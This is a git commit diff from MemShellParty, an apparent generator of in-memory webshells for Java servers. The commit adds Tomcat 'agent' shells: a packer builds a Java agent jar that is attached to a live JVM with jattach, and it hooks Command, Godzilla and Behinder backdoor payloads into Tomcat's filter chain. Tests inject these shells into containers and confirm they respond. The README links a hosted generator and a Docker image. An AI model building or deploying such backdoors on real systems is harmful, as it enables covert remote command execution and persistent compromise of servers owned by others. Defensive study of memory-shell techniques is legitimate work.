feat: support tomcat agent shell (resolved #12)

This commit is contained in:
ReaJason
2025-01-03 00:25:56 +08:00
parent 7e3bd95a2c
commit dd5b7c0366
84 changed files with 1058 additions and 285 deletions
+25 -16
View File
@@ -4,11 +4,12 @@
<p>一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台</p>
<p>在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了</p>
[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions)
[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions)
[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions)
[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell)](https://t.me/memshell)
[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions)
[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions)
[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions)
[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License&color=blueviolet)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell&color=blueviolet)](https://t.me/memshell)
</div>
> [!WARNING]
@@ -29,6 +30,13 @@
## 快速启动
### 在线站点
可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)
### 本地部署(推荐)
使用 docker 部署之后访问 http://127.0.0.1:8080
```bash
@@ -41,12 +49,13 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------|---------------|------------------|---------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | | | |
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|---------------------|---------------|------------------|---------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | | | |
| FilterChain - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | Netty |
|--------------|-------------------|-----------------|-------|
@@ -66,11 +75,11 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
| Filter | Filter |
| Listener | Listener |
| 宝兰德 BES9.5.x | 东方通 TongWeb6 ~ 7 | 中创 InforSuite AS 9 ~ 10 | 金蝶 Apusic AS 9 |
|----------------|--------------------|---------------------------|------------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|------------|----------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
### 内存马功能
BIN
View File
Binary file not shown.
@@ -7,9 +7,12 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
@@ -24,7 +27,12 @@ public class GeneratorController {
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
String packResult = request.getPacker().getPacker().pack(generateResult);
String packResult = null;
if (request.getPacker().getPacker() instanceof JarPacker) {
packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult));
} else {
packResult = request.getPacker().getPacker().pack(generateResult);
}
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
}
}
}
+1 -1
View File
@@ -47,7 +47,7 @@ dependencies {
implementation 'javax.servlet:javax.servlet-api:3.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
@@ -1,10 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
@@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
return Map.ofEntries(
Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
);
}
@@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
@@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
}
@@ -18,4 +18,6 @@ public class Constants {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String AGENT = "Agent";
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class AgentGenerator {
private final ShellConfig config;
private final InjectorConfig injectorConfig;
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
this.injectorConfig = injectorConfig;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/21
@@ -28,7 +27,7 @@ public class BehinderGenerator {
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
@@ -39,11 +38,9 @@ public class BehinderGenerator {
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
@@ -22,13 +20,12 @@ public class CommandGenerator {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
.field(named("paramName")).value(shellConfig.getParamName());
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/23
@@ -40,13 +39,11 @@ public class GodzillaGenerator {
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -0,0 +1,83 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarPacker implements JarPacker {
@Override
@SneakyThrows
public byte[] packBytes(GenerateResult generateResult) {
Path jarPath = Files.createTempFile("temp", ".jar");
String mainClass = generateResult.getInjectorClassName();
String advisorClass = generateResult.getShellClassName();
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
addDependency(targetJar, ByteBuddy.class);
if (generateResult.getShellConfig().isJakarta()) {
addDependency(targetJar, jakarta.servlet.Servlet.class);
} else {
addDependency(targetJar, javax.servlet.Servlet.class);
}
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getInjectorBytes());
targetJar.closeEntry();
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getShellBytes());
targetJar.closeEntry();
}
byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile()));
FileUtils.deleteQuietly(jarPath.toFile());
return byteArray;
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry);
targetJar.putNextEntry(new JarEntry(entryName));
IOUtils.copy(entryStream, targetJar);
targetJar.closeEntry();
entryStream.close();
}
}
sourceJar.close();
}
}
@@ -0,0 +1,8 @@
package com.reajason.javaweb.memshell.packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
}
@@ -17,7 +17,13 @@ public interface Packer {
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
*/
String pack(GenerateResult generateResult);
default String pack(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
default byte[] packBytes(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
}
/**
* 部分打包器可能需要配置来进行额外的配置项
@@ -70,6 +76,8 @@ public interface Packer {
Freemarker("Freemarker", new FreemarkerPacker()),
Velocity("Velocity", new VelocityPacker()),
AgentJar("AgentJar", new AgentJarPacker()),
;
private final String desc;
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/1/1
*/
class GodzillaGeneratorTest {
@Test
@SneakyThrows
void generate() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.SERVLET)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.shellClass(GodzillaServlet.class)
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test").build();
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
Object o = loaded.getDeclaredConstructor().newInstance();
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue"));
}
}
+4
View File
@@ -17,6 +17,10 @@ dependencies {
testImplementation project(":behinder")
testImplementation project(":godzilla")
testImplementation project(':generator')
testImplementation 'javax.servlet:javax.servlet-api:3.0.1'
testImplementation 'javax.websocket:javax.websocket-api:1.1'
testImplementation 'org.java-websocket:Java-WebSocket:1.5.7'
testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n'
@@ -22,6 +22,9 @@ public class ContainerTool {
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
@@ -4,8 +4,19 @@ import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.JarPacker;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -13,17 +24,58 @@ import lombok.extern.slf4j.Slf4j;
*/
@Slf4j
public class ShellAssertionTool {
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
}
@SneakyThrows
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer<?> container) {
String shellUrl = url + "/test";
InjectorConfig injectorConfig = new InjectorConfig();
String urlPattern = null;
if (shellType.endsWith(Constants.SERVLET)
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
) {
String urlPattern = "/" + shellTool + shellType + packer.name();
urlPattern = "/" + shellTool + shellType + packer.name();
shellUrl = url + urlPattern;
}
GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
String content = null;
if (packer.getPacker() instanceof JarPacker) {
byte[] bytes = packer.getPacker().packBytes(generateResult);
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
assertTrue(stdout.contains("JVM response code = 0"));
} else {
content = packer.getPacker().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
}
switch (shellTool) {
case Godzilla:
GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
break;
case Command:
CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
break;
case Behinder:
BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
}
}
public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
@@ -35,41 +87,38 @@ public class ShellAssertionTool {
.debug(true)
.build();
ShellToolConfig shellToolConfig = null;
String uniqueName = shellTool + shellType + packer.name();
switch (shellTool) {
case Godzilla:
String godzillaPass = "pass";
String godzillaKey = "key";
String godzillaHeaderValue = "Godzilla" + shellType + packer.name();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
shellToolConfig = GodzillaConfig.builder()
.pass(godzillaPass).key(godzillaKey)
.headerName("User-Agent").headerValue(godzillaHeaderValue)
.headerName("User-Agent").headerValue(uniqueName)
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue);
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
assertInjectIsOk(url, shellType, shellTool, content, packer);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName);
break;
case Command:
String paramName = "Command" + shellType + packer.name();
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, commandConfig);
shellToolConfig = CommandConfig.builder()
.paramName(uniqueName)
.build();
log.info("generated {} command shell with paramName: {}", shellType, uniqueName);
break;
case Behinder:
String behinderPass = "pass";
String behinderHeaderValue = "Behinder" + shellType + packer.name();
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
shellToolConfig = BehinderConfig.builder()
.pass(behinderPass)
.headerName("User-Agent")
.headerValue(uniqueName)
.build();
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
break;
}
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
}
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer<?> container) {
switch (packer) {
case JSP -> {
String uploadEntry = url + "/upload";
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.tomcatPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -35,6 +36,8 @@ public class Tomcat10ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -63,7 +66,10 @@ public class Tomcat10ContainerTest {
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
